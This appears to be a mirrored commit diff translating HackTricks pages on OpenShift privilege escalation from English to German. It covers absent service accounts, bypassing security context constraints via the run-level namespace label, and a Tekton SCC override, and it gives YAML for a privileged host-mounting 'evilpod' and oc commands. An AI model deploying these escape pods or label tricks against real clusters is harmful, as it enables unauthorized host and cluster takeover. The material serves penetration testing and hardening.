gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-30 06:30:35 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

Browse Source
This commit is contained in:
Translator
2024-12-31 18:57:14 +00:00
parent 7770a50092
commit 77a009d308
244 changed files with 8632 additions and 11470 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
View File

@@ -1,6 +1,6 @@
# OpenShift - Privilege Escalation
# OpenShift - Privilegieneskalation
## Missing Service Account
## Fehlendes Dienstkonto
{{#ref}}
openshift-missing-service-account.md
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
openshift-tekton.md
{{#endref}}
## SCC Bypass
## SCC Umgehung
{{#ref}}
openshift-scc-bypass.md
{{#endref}}

18
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
View File

@@ -1,27 +1,23 @@
# OpenShift - Missing Service Account
# OpenShift - Fehlender Service-Account
## Missing Service Account
## Fehlender Service-Account
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
Es kommt vor, dass ein Cluster mit einer vorkonfigurierten Vorlage bereitgestellt wird, die automatisch Rollen, RoleBindings und sogar SCC für einen Service-Account festlegt, der noch nicht erstellt wurde. Dies kann zu einer Privilegieneskalation führen, wenn Sie diese erstellen können. In diesem Fall wären Sie in der Lage, das Token des neu erstellten SA und die zugehörige Rolle oder SCC zu erhalten. Dasselbe passiert, wenn der fehlende SA Teil eines fehlenden Projekts ist; in diesem Fall, wenn Sie das Projekt und dann den SA erstellen können, erhalten Sie die zugehörigen Rollen und SCC.
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
Im vorherigen Diagramm haben wir mehrere AbsentProject, was mehrere Projekte bedeutet, die in Rollenbindungen oder SCC erscheinen, aber noch nicht im Cluster erstellt wurden. In ähnlicher Weise haben wir auch einen AbsentServiceAccount.
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
Wenn wir ein Projekt und den fehlenden SA darin erstellen können, wird der SA von der Rolle oder dem SCC erben, die auf den AbsentServiceAccount abzielten. Dies kann zu einer Privilegieneskalation führen.
The following example show a missing SA which is granted node-exporter SCC:
Das folgende Beispiel zeigt einen fehlenden SA, dem node-exporter SCC gewährt wird:
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
## Tools
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
Das folgende Tool kann verwendet werden, um dieses Problem zu enumerieren und allgemeiner, um einen OpenShift-Cluster zu grafieren:
{{#ref}}
https://github.com/maxDcb/OpenShiftGrapher
{{#endref}}

128
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
View File

@@ -1,10 +1,10 @@
# Openshift - SCC bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**Der ursprüngliche Autor dieser Seite ist** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Privileged Namespaces
## Privilegierte Namespaces
By default, SCC does not apply on following projects :
Standardmäßig wird SCC nicht auf folgenden Projekten angewendet:
- **default**
- **kube-system**
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
- **openshift-infra**
- **openshift**
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird keine SCC durchgesetzt, was die Bereitstellung von privilegierten Pods oder das Einbinden des Host-Dateisystems ermöglicht.
## Namespace Label
## Namespace-Label
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
- Create a Namespace and Create a Pod on this Namespace
- Edit a Namespace and Create a Pod on this Namespace
Es gibt eine Möglichkeit, die Anwendung von SCC auf Ihrem Pod gemäß der RedHat-Dokumentation zu deaktivieren. Sie müssen mindestens eine der folgenden Berechtigungen haben:
- Erstellen eines Namespaces und Erstellen eines Pods in diesem Namespace
- Bearbeiten eines Namespaces und Erstellen eines Pods in diesem Namespace
```bash
$ oc auth can-i create namespaces
yes
yes
$ oc auth can-i patch namespaces
yes
yes
```
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
Der spezifische Label `openshift.io/run-level` ermöglicht es Benutzern, SCCs für Anwendungen zu umgehen. Laut der RedHat-Dokumentation werden bei Verwendung dieses Labels keine SCCs auf alle Pods innerhalb dieses Namensraums durchgesetzt, wodurch alle Einschränkungen effektiv aufgehoben werden.
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
## Add Label
To add the label in your namespace :
## Label hinzufügen
Um das Label in Ihrem Namensraum hinzuzufügen:
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
To create a namespace with the label through a YAML file:
Um einen Namespace mit dem Label über eine YAML-Datei zu erstellen:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
name: evil
labels:
openshift.io/run-level: 0
```
Now, all new pods created on the namespace should not have any SCC
Jetzt sollten alle neuen Pods, die im Namespace erstellt werden, keine SCC haben.
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong><strong>$
</strong></code></pre>
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
In Abwesenheit von SCC gibt es keine Einschränkungen für Ihre Pod-Definition. Das bedeutet, dass ein bösartiger Pod leicht erstellt werden kann, um auf das Host-System zu entkommen.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
Jetzt ist es einfacher geworden, Privilegien zu eskalieren, um auf das Hostsystem zuzugreifen und anschließend den gesamten Cluster zu übernehmen, wodurch 'cluster-admin' Privilegien erlangt werden. Suchen Sie nach dem Abschnitt **Node-Post Exploitation** auf der folgenden Seite:
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Custom labels
### Benutzerdefinierte Labels
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
Darüber hinaus können je nach Zielkonfiguration einige benutzerdefinierte Labels / Annotationen auf die gleiche Weise wie im vorherigen Angriffszenario verwendet werden. Auch wenn sie nicht dafür vorgesehen sind, könnten Labels verwendet werden, um Berechtigungen zu erteilen, eine bestimmte Ressource einzuschränken oder nicht.
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
Versuchen Sie, nach benutzerdefinierten Labels zu suchen, wenn Sie einige Ressourcen lesen können. Hier ist eine Liste interessanter Ressourcen:
- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## List all privileged namespaces
## Liste aller privilegierten Namespaces
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Fortgeschrittener Exploit
## Advanced exploit
In OpenShift, wie zuvor demonstriert, kann das Berechtigung, ein Pod in einem Namespace mit dem `openshift.io/run-level`-Label zu deployen, zu einer unkomplizierten Übernahme des Clusters führen. Aus der Perspektive der Cluster-Einstellungen **kann diese Funktionalität nicht deaktiviert werden**, da sie im Design von OpenShift verankert ist.
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
Allerdings können Maßnahmen wie **Open Policy Agent GateKeeper** verhindern, dass Benutzer dieses Label setzen.
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
Um die Regeln von GateKeeper zu umgehen und dieses Label zu setzen, um eine Cluster-Übernahme durchzuführen, **müssten Angreifer alternative Methoden identifizieren.**
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
## References
## Referenzen
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

72
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
View File

@@ -1,79 +1,71 @@
# OpenShift - Tekton
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
**Der ursprüngliche Autor dieser Seite ist** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### What is tekton
### Was ist Tekton
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native.&#x20;
Laut der Dokumentation: _Tekton ist ein leistungsstarkes und flexibles Open-Source-Framework zur Erstellung von CI/CD-Systemen, das Entwicklern ermöglicht, über Cloud-Anbieter und lokale Systeme hinweg zu bauen, zu testen und bereitzustellen._ Sowohl Jenkins als auch Tekton können verwendet werden, um Anwendungen zu testen, zu bauen und bereitzustellen, jedoch ist Tekton Cloud Native.&#x20;
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
Mit Tekton wird alles durch YAML-Dateien dargestellt. Entwickler können benutzerdefinierte Ressourcen (CR) vom Typ `Pipelines` erstellen und mehrere `Tasks` angeben, die sie ausführen möchten. Um eine Pipeline auszuführen, müssen Ressourcen vom Typ `PipelineRun` erstellt werden.
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
Wenn Tekton installiert ist, wird in jedem Namespace ein Dienstkonto (sa) namens pipeline erstellt. Wenn eine Pipeline ausgeführt wird, wird ein Pod erstellt, der dieses sa namens `pipeline` verwendet, um die im YAML-Dokument definierten Aufgaben auszuführen.
{{#ref}}
https://tekton.dev/docs/getting-started/pipelines/
{{#endref}}
### The Pipeline service account capabilities
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
### Die Fähigkeiten des Pipeline-Dienstkontos
Standardmäßig kann das Pipeline-Dienstkonto die Fähigkeit `pipelines-scc` nutzen. Dies liegt an der globalen Standardkonfiguration von Tekton. Tatsächlich ist die globale Konfiguration von Tekton ebenfalls ein YAML in einem OpenShift-Objekt namens `TektonConfig`, das sichtbar ist, wenn Sie einige Leserollen im Cluster haben.
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "pipelines-scc"
...
...
platforms:
openshift:
scc:
default: "pipelines-scc"
```
In jedem Namespace, wenn Sie das Token des Pipeline-Servicekontos erhalten können, werden Sie in der Lage sein, `pipelines-scc` zu verwenden.
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
### The Misconfig
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
### Die Fehlkonfiguration
Das Problem ist, dass die standardmäßige SCC, die das Pipeline-SA verwenden kann, vom Benutzer kontrollierbar ist. Dies kann durch ein Label in der Namespace-Definition erfolgen. Zum Beispiel, wenn ich einen Namespace mit der folgenden YAML-Definition erstellen kann:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
```
Der Tekton-Operator wird dem Pipeline-Servicekonto im `test-namespace` die Fähigkeit geben, die scc privileged zu verwenden. Dies ermöglicht das Mounten des Knotens.
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
### Die Lösung
### The fix
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
Tekton-Dokumente darüber, wie man die Überschreibung von scc einschränken kann, indem man ein Label im `TektonConfig`-Objekt hinzufügt.
{{#ref}}
https://tekton.dev/docs/operator/sccconfig/
{{#endref}}
This label is called `max-allowed`&#x20;
Dieses Label wird `max-allowed` genannt.
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "restricted-v2"
maxAllowed: "privileged"
...
...
platforms:
openshift:
scc:
default: "restricted-v2"
maxAllowed: "privileged"
```